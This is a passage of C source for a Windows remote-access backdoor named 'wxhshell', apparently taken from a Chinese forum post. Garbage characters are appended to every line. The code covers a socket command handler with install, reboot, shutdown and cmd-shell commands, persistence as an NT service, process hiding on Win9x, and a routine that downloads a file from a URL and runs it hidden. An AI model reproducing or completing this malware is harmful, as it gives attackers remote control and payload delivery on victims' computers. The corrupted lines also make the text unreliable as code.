'ffOFIz|=I  
    switch(cmd[0]) { |L"!^Y#=D  
  h]z>H~.<*  
  // 帮助 Jxy94y*  
  case '?': { F9&ae*>,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >4lT0~V/  
    break; H D95>%  
  } F&I ;E i  
  // 安装 V*U*_Y  
  case 'i': { "p{cz(  
    if(Install()) _hb@O2f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;uazQyo6  
    else t%f6P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zz+p6`   
    break; td6$w:SN,l  
    } @xI:ZtM  
  // 卸载 h&4f9HhS=  
  case 'r': { -n`igC  
    if(Uninstall()) fQB>0RR2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g@jAIy]  
    else P5*~ Wi`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ydr/ T/1  
    break; \dz@hJl:  
    } eHjn<@  
  // 显示 wxhshell 所在路径 rHWlv\+N n  
  case 'p': { pwvcH3l/r  
    char svExeFile[MAX_PATH]; oIP<7gz  
    strcpy(svExeFile,"\n\r"); Lz9t9AoB  
      strcat(svExeFile,ExeFile); utvZ<zz`  
        send(wsh,svExeFile,strlen(svExeFile),0); 2"~QI xY=  
    break; 1L=6Z2*fB4  
    } G#pRBA^  
  // 重启 r6Hdp  
  case 'b': { S^Z[w|1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %EooGHGF?  
    if(Boot(REBOOT)) ~KufSt *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8C{mV^cn~  
    else { =+qtk(p  
    closesocket(wsh); <+QXGz1  
    ExitThread(0); T&]J3TFJ  
    } (IXe5 55  
    break; Q/,bEDc&  
    } =k1 ,jn+  
  // 关机 d,G:+  
  case 'd': { vNhi5EU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <?UIux  
    if(Boot(SHUTDOWN)) O,kzU,zOs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ho7L@NR  
    else { {i7Wp$ug  
    closesocket(wsh); L.uX  
    ExitThread(0); ByrK|lVM0  
    } ORV~F0d<  
    break; SJtQK-%wK>  
    } Qv%"iSe~J  
  // 获取shell to1{7q  
  case 's': { |-HV@c]  
    CmdShell(wsh); {1Z`'.FU  
    closesocket(wsh); YFVNkB O%  
    ExitThread(0); ^0/FZ)V8  
    break; !c+Nf2I7S  
  } Z. ))=w6G  
  // 退出 VV*Z5U@b  
  case 'x': { TRl,L5wd-?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e `!PQMLU  
    CloseIt(wsh); 1N_Gk&  
    break; R7o3X,-iwn  
    } * ?a-m\  
  // 离开 XA~Cc<v  
  case 'q': { .X;zEyd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mZ^z%+Ca|  
    closesocket(wsh); \G?GX  
    WSACleanup(); !TH3oLd"  
    exit(1); *Op;].>E  
    break; fAu^eS%>7  
        } G/nSF:rp  
  } ?v-( :OF  
  } RnN]m!"5  
tSVN}~1\  
  // 提示信息 ,m-z D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?mJNzHrq;  
} +0016UgS#  
  } NW'rqgG  
Q2c|sK8  
  return; W)dQ yZ>J  
} (5s$vcK  
ieN}Ajl2  
// shell模块句柄 8IYn9<L  
int CmdShell(SOCKET sock) Q`"gKBN1  
{ lLO|,  
STARTUPINFO si; J6eF7 fa  
ZeroMemory(&si,sizeof(si)); 8\?7k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W=fw*ro  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .5ap9li]  
PROCESS_INFORMATION ProcessInfo; B \U9F5  
char cmdline[]="cmd"; U[EM<5@I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0j^QY6  
  return 0; jP?YV  
} U ~j:b{  
4+ BWHV  
// 自身启动模式 R36BvW0X  
int StartFromService(void) /DG+8u  
{ ?v4-<ewD  
typedef struct ~s@PP'!  
{  -a``  
  DWORD ExitStatus; eSNwAExm  
  DWORD PebBaseAddress; 6>rgoT)6~  
  DWORD AffinityMask; mRe BS  
  DWORD BasePriority; x;&01@m.  
  ULONG UniqueProcessId; UEZnd8  
  ULONG InheritedFromUniqueProcessId; p5|.E  
}   PROCESS_BASIC_INFORMATION; +FD"8 ^YC  
:Ve>tZeW  
PROCNTQSIP NtQueryInformationProcess; &b[ .bf  
xV&c)l>}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \K$9r=!(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sN`2"t/s  
k e'aSD  
  HANDLE             hProcess; e6E{l  
  PROCESS_BASIC_INFORMATION pbi; +gZg7]!Z  
#k %$A}9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &cDLSnR  
  if(NULL == hInst ) return 0; Hc`)Q vFRW  
EwvW: t1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4~mYj@lvd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WmO.&zp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BI\ )vr$  
]JQ7x[  
  if (!NtQueryInformationProcess) return 0; {BkTJQ)  
$#3O:aW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {}r#s>  
  if(!hProcess) return 0; F *`*5:7  
:fo.9J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,$i2vGd  
zX{O"w  
  CloseHandle(hProcess); SG:Fn8  
PtH>I,/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f{ ;L"*L  
if(hProcess==NULL) return 0; ,$"*X-1  
=Q\z*.5j.  
HMODULE hMod; xLxXc!{J5  
char procName[255]; =L,s6J8_'  
unsigned long cbNeeded; i2. +E&3v  
#2`ST=#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c1!0Z28  
}I3 ZNd   
  CloseHandle(hProcess); 0 rM'VgB  
,t"?~Hl".  
if(strstr(procName,"services")) return 1; // 以服务启动 =<,>dBs}\  
^HJvT)e4  
  return 0; // 注册表启动 p:*)rE  
} }e/#dMEi  
v5 |XyN"  
// 主模块  F#0y0|  
int StartWxhshell(LPSTR lpCmdLine) mGss9eZa  
{ ]q#w97BxiJ  
  SOCKET wsl; ~ IPel  
BOOL val=TRUE; iLQFce7d|&  
  int port=0; L#t^:%   
  struct sockaddr_in door; 0:NCIsIm<  
RKIBFP8.  
  if(wscfg.ws_autoins) Install(); U/hf?T;  
~.FeLWP  
port=atoi(lpCmdLine); "H{Et b/  
Y[_{tS#u  
if(port<=0) port=wscfg.ws_port; 9%+Nzo(Fd  
vBP 5n  
  WSADATA data; Sn6cwf9.s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DC9\Sp?  
<1t.f}}uX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T0:%,o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I&2)@Zw  
  door.sin_family = AF_INET; JQi+y;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~>&Jks_Q  
  door.sin_port = htons(port); 4Ss4jUj  
^("23mhfJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |hx"yy'ux  
closesocket(wsl); NOC8h\s}(  
return 1; {RG4m{#9  
} v'0WE  
sBN"eHg  
  if(listen(wsl,2) == INVALID_SOCKET) { QcW6o,  
closesocket(wsl); , %8keGhl  
return 1; c(@(j8@S  
} 8iv0&91Z  
  Wxhshell(wsl); }PC_qQF  
  WSACleanup(); XZh1/b^DMN  
w^{qut.  
return 0; h>w(Th\H  
)JNUfauyT  
} bcM65pt_C  
,.<[iHC}9  
// 以NT服务方式启动 hg2a,EU\Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /$EX -!ie  
{ !^[i"F:G  
DWORD   status = 0; g1!ek  
  DWORD   specificError = 0xfffffff; 0mt lM(  
UFE# J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q1Jw7R#?l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "b~-`ni  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +'-i(]@!'  
  serviceStatus.dwWin32ExitCode     = 0; 6dH> 0l  
  serviceStatus.dwServiceSpecificExitCode = 0; (+(YQ2  
  serviceStatus.dwCheckPoint       = 0; .eBo:4T!d  
  serviceStatus.dwWaitHint       = 0; 4!vovt{  
Kia34 ~W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DB=^Z%%Z  
  if (hServiceStatusHandle==0) return; }s@ i  
+.czj,Sq  
status = GetLastError(); /8cfdP Ba  
  if (status!=NO_ERROR) GbXa=* <-<  
{ l:@`.'-=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0: 1[F!]'b  
    serviceStatus.dwCheckPoint       = 0; &c AFKYt  
    serviceStatus.dwWaitHint       = 0; EDDld6O,  
    serviceStatus.dwWin32ExitCode     = status; ;bYpMcH  
    serviceStatus.dwServiceSpecificExitCode = specificError; hL?"!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q PveG1+25  
    return; Qhc>,v)  
  } &06pUp iS  
G5oBe6\C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &UFj U%Z%  
  serviceStatus.dwCheckPoint       = 0; =q\Ghqj1  
  serviceStatus.dwWaitHint       = 0; r(ZMZ^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cv=H6j]h |  
} ?hFG+`"W  
+A;AX.mr  
// 处理NT服务事件,比如:启动、停止 su}n3NsJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @cS(Bb!(M  
{ P&sn IJ  
switch(fdwControl) dED&-e#  
{ vY"i^a`f  
case SERVICE_CONTROL_STOP: 'NAC4to;;  
  serviceStatus.dwWin32ExitCode = 0; \yE*nZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .UGbo.e  
  serviceStatus.dwCheckPoint   = 0; -f-@[;D  
  serviceStatus.dwWaitHint     = 0; TOH+JL8L  
  { srGF=1_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (nDen5Q|  
  } S^c; i  
  return; WV8vDv1jt  
case SERVICE_CONTROL_PAUSE: n:8<Ijrh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {<P{uH\l  
  break; b(HbwOt ~3  
case SERVICE_CONTROL_CONTINUE: K ; e R)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y00hc8<  
  break; /5wIbmz@I  
case SERVICE_CONTROL_INTERROGATE: %.rVIc"  
  break; .4cV X|T  
}; C"*8bVx]$n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N<N uBtkA  
} NI^jQS M]  
my}l?S[2d@  
// 标准应用程序主函数 t_"]n*zk1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L; o$vI~U,  
{ 1$S`>M%a  
2v\<MrL  
// 获取操作系统版本 H/^t]bg,  
OsIsNt=GetOsVer(); sK/Z 'h{|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qn!KL0w  
khb/"VYd  
  // 从命令行安装 t%fcp  
  if(strpbrk(lpCmdLine,"iI")) Install(); (7*((  
haSC[[o=  
  // 下载执行文件 ]Vm:iF#5P  
if(wscfg.ws_downexe) { ~7$jW[i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U3^3nL-M9  
  WinExec(wscfg.ws_filenam,SW_HIDE); &Cm$%3  
} %jh gKq  
[Te"|K':  
if(!OsIsNt) { \Gm\sy  
// 如果时win9x,隐藏进程并且设置为注册表启动 >$:_M*5  
HideProc();  nJ|M  
StartWxhshell(lpCmdLine); c>b{/92%  
} 0x2[*pJ|IW  
else 2hf7F";Af  
  if(StartFromService()) DEQ7u`6  
  // 以服务方式启动 *%n(t+'q  
  StartServiceCtrlDispatcher(DispatchTable); /4YxB,  
else H{,qw%.|KA  
  // 普通方式启动 ^US ol/  
  StartWxhshell(lpCmdLine); >*h3u7t  
|0nt u+  
return 0; %hVI*p3  
}
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只看该作者 1 发表于: 2006-10-10
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